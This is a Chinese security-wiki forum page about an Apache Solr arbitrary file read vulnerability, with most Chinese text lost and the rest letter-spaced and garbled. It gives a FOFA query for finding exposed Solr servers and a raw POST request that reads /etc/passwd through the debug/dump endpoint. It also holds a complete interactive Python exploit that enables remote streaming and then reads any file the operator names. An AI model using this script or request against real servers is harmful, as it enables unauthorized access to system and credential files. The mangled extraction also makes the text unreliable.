[735] 2021-03-18_(0day)ApacheSolr任意文件读取漏洞

文档创建者:s7ckTeam
浏览次数:10
最后更新:2025-01-16
2021-03-18_(0day)ApacheSolr任意文件读取漏洞 0 d a y A p a c h e   S o l r     b g b i n g   2 0 2 1 - 0 3 - 1 8 f o f a a p p = " A p a c h e - S o l r " 便 P O C P O S T   / s o l r / c k a n / d e b u g / d u m p ? p a r a m = C o n t e n t S t r e a m s   H T T P / 1 . 1 H o s t :   x x x . x x x . x x x . x x x : 8 9 8 3
使 P e i Q i p y t h o n C o n t e n t - L e n g t h :   2 9 C a c h e - C o n t r o l :   m a x - a g e = 0 U p g r a d e - I n s e c u r e - R e q u e s t s :   1 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 8 9 . 0 . 4 3 8 9 . 8 2   S a f a r i / 5 3 7 . 3 6 O r i g i n :   h t t p : / / 1 1 8 . 3 1 . 4 6 . 1 3 4 : 8 9 8 3 C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / a v i f , i m a g e / w e b p , i m a g e / a p n g , * / * ; q = 0 . 8 , a p p l i c a t i o n / s i g n e d - e x c h a n g e ; v = b 3 ; q = 0 . 9 R e f e r e r :   h t t p : / / 1 1 8 . 3 1 . 4 6 . 1 3 4 : 8 9 8 3 / s o l r / c k a n / c o n f i g A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 9 , e n - U S ; q = 0 . 8 , e n ; q = 0 . 7 , z h - T W ; q = 0 . 6 C o n n e c t i o n :   c l o s e s t r e a m . u r l = f i l e : / / / e t c / p a s s w d i m p o r t   r e q u e s t s i m p o r t   s y s i m p o r t   r a n d o m i m p o r t   r e i m p o r t   b a s e 6 4 i m p o r t   t i m e f r o m   l x m l   i m p o r t   e t r e e i m p o r t   j s o n f r o m   r e q u e s t s . p a c k a g e s . u r l l i b 3 . e x c e p t i o n s   i m p o r t   I n s e c u r e R e q u e s t W a r n i n g d e f   t i t l e ( ) :         p r i n t ( ' + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ' )         p r i n t ( ' +     0 3 3 [ 3 4 m P O C _ D e s :   h t t p : / / w i k i . p e i q i . t e c h                       0 3 3 [ 0 m ' )         p r i n t ( ' +     0 3 3 [ 3 4 m G i t h u b   :   h t t p s : / / g i t h u b . c o m / P e i Q i 0                 0 3 3 [ 0 m ' )         p r i n t ( ' +     0 3 3 [ 3 4 m     :   P e i Q i                                                 0 3 3 [ 0 m ' )         p r i n t ( ' +     0 3 3 [ 3 4 m V e r s i o n :   A p a c h e   S o l r   <   8 . 2 . 0                         0 3 3 [ 0 m ' )         p r i n t ( ' +     0 3 3 [ 3 6 m 使 :   p y t h o n 3   C V E - 2 0 1 9 - 0 1 9 3 . p y               0 3 3 [ 0 m ' )         p r i n t ( ' +     0 3 3 [ 3 6 m U r l         > > >   h t t p : / / x x x . x x x . x x x . x x x : 8 9 8 3     0 3 3 [ 0 m ' )         p r i n t ( ' +     0 3 3 [ 3 6 m F i l e       > > >                                       0 3 3 [ 0 m ' )         p r i n t ( ' + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ' ) d e f   P O C _ 1 ( t a r g e t _ u r l ) :         c o r e _ u r l   =   t a r g e t _ u r l   +   " / s o l r / a d m i n / c o r e s ? i n d e x I n f o = f a l s e & w t = j s o n "         t r y :                 r e s p o n s e   =   r e q u e s t s . r e q u e s t ( " G E T " ,   u r l = c o r e _ u r l ,   t i m e o u t = 1 0 )                 c o r e _ n a m e   =   l i s t ( j s o n . l o a d s ( r e s p o n s e . t e x t ) [ " s t a t u s " ] ) [ 0 ]                 p r i n t ( " 0 3 3 [ 3 2 m [ o ]   c o r e _ n a m e , U r l "   +   t a r g e t _ u r l   +   " / s o l r / "   +   c o r e _ n a m e   +   " / c o n f i g 0 3 3 [ 0 m " )                 r e t u r n   c o r e _ n a m e         e x c e p t :                 p r i n t ( " 0 3 3 [ 3 1 m [ x ]   U r l 0 3 3 [ 0 m " )                 s y s . e x i t ( 0 ) d e f   P O C _ 2 ( t a r g e t _ u r l ,   c o r e _ n a m e ) :         v u l n _ u r l   =   t a r g e t _ u r l   +   " / s o l r / "   +   c o r e _ n a m e   +   " / c o n f i g "         h e a d e r s   =   {                 " C o n t e n t - t y p e " : " a p p l i c a t i o n / j s o n "         }
t e s t . p y         d a t a   =   ' { " s e t - p r o p e r t y "   :   { " r e q u e s t D i s p a t c h e r . r e q u e s t P a r s e r s . e n a b l e R e m o t e S t r e a m i n g " : t r u e } } '         t r y :                 r e q u e s t s . p a c k a g e s . u r l l i b 3 . d i s a b l e _ w a r n i n g s ( I n s e c u r e R e q u e s t W a r n i n g )                 r e s p o n s e   =   r e q u e s t s . p o s t ( u r l = v u l n _ u r l ,   d a t a = d a t a ,   h e a d e r s = h e a d e r s ,   v e r i f y = F a l s e ,   t i m e o u t = 5 )                 p r i n t ( " 0 3 3 [ 3 6 m [ o ]   . . . . . .   0 3 3 [ 0 m " . f o r m a t ( t a r g e t _ u r l ) )                 i f   " T h i s "   i n   r e s p o n s e . t e x t   a n d   r e s p o n s e . s t a t u s _ c o d e   = =   2 0 0 :                         p r i n t ( " 0 3 3 [ 3 2 m [ o ]     { }     0 3 3 [ 0 m " . f o r m a t ( t a r g e t _ u r l ) )                 e l s e :                         p r i n t ( " 0 3 3 [ 3 1 m [ x ]     { }   0 3 3 [ 0 m " . f o r m a t ( t a r g e t _ u r l ) )                         s y s . e x i t ( 0 )         e x c e p t   E x c e p t i o n   a s   e :                 p r i n t ( " 0 3 3 [ 3 1 m [ x ]     0 3 3 [ 0 m " ,   e ) d e f   P O C _ 3 ( t a r g e t _ u r l ,   c o r e _ n a m e ,   F i l e _ n a m e ) :         v u l n _ u r l   =   t a r g e t _ u r l   +   " / s o l r / { } / d e b u g / d u m p ? p a r a m = C o n t e n t S t r e a m s " . f o r m a t ( c o r e _ n a m e )         h e a d e r s   =   {                 " C o n t e n t - T y p e " :   " a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d "         }         d a t a   =   ' s t r e a m . u r l = f i l e : / / { } ' . f o r m a t ( F i l e _ n a m e )         t r y :                 r e q u e s t s . p a c k a g e s . u r l l i b 3 . d i s a b l e _ w a r n i n g s ( I n s e c u r e R e q u e s t W a r n i n g )                 r e s p o n s e   =   r e q u e s t s . p o s t ( u r l = v u l n _ u r l ,   d a t a = d a t a ,   h e a d e r s = h e a d e r s ,   v e r i f y = F a l s e ,   t i m e o u t = 5 )                 i f   " N o   s u c h   f i l e   o r   d i r e c t o r y "   i n   r e s p o n s e . t e x t :                                 p r i n t ( " 0 3 3 [ 3 1 m [ x ]   { }   0 3 3 [ 0 m " . f o r m a t ( F i l e _ n a m e ) )                 e l s e :                         p r i n t ( " 0 3 3 [ 3 6 m [ o ]   : n { }   0 3 3 [ 0 m " . f o r m a t ( j s o n . l o a d s ( r e s p o n s e . t e x t ) [ " s t r e a m s " ] [ 0 ] [ " s t r e a m " ] ) )         e x c e p t   E x c e p t i o n   a s   e :                 p r i n t ( " 0 3 3 [ 3 1 m [ x ]     0 3 3 [ 0 m " ,   e ) i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         t i t l e ( )         t a r g e t _ u r l   =   s t r ( i n p u t ( " 0 3 3 [ 3 5 m P l e a s e   i n p u t   A t t a c k   U r l n U r l   > > >   0 3 3 [ 0 m " ) )         c o r e _ n a m e   =   P O C _ 1 ( t a r g e t _ u r l )         P O C _ 2 ( t a r g e t _ u r l ,   c o r e _ n a m e )         w h i l e   T r u e :                 F i l e _ n a m e   =   s t r ( i n p u t ( " 0 3 3 [ 3 5 m F i l e   > > >   0 3 3 [ 0 m " ) )                 P O C _ 3 ( t a r g e t _ u r l ,   c o r e _ n a m e ,   F i l e _ n a m e )
/ e t c / p a s s w d S o l r S o l r W e b - s e r v i c e A P I h t t p X M L H t t p   G e t X M L
S o l r J a v a L u c e n e L u c e n e
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则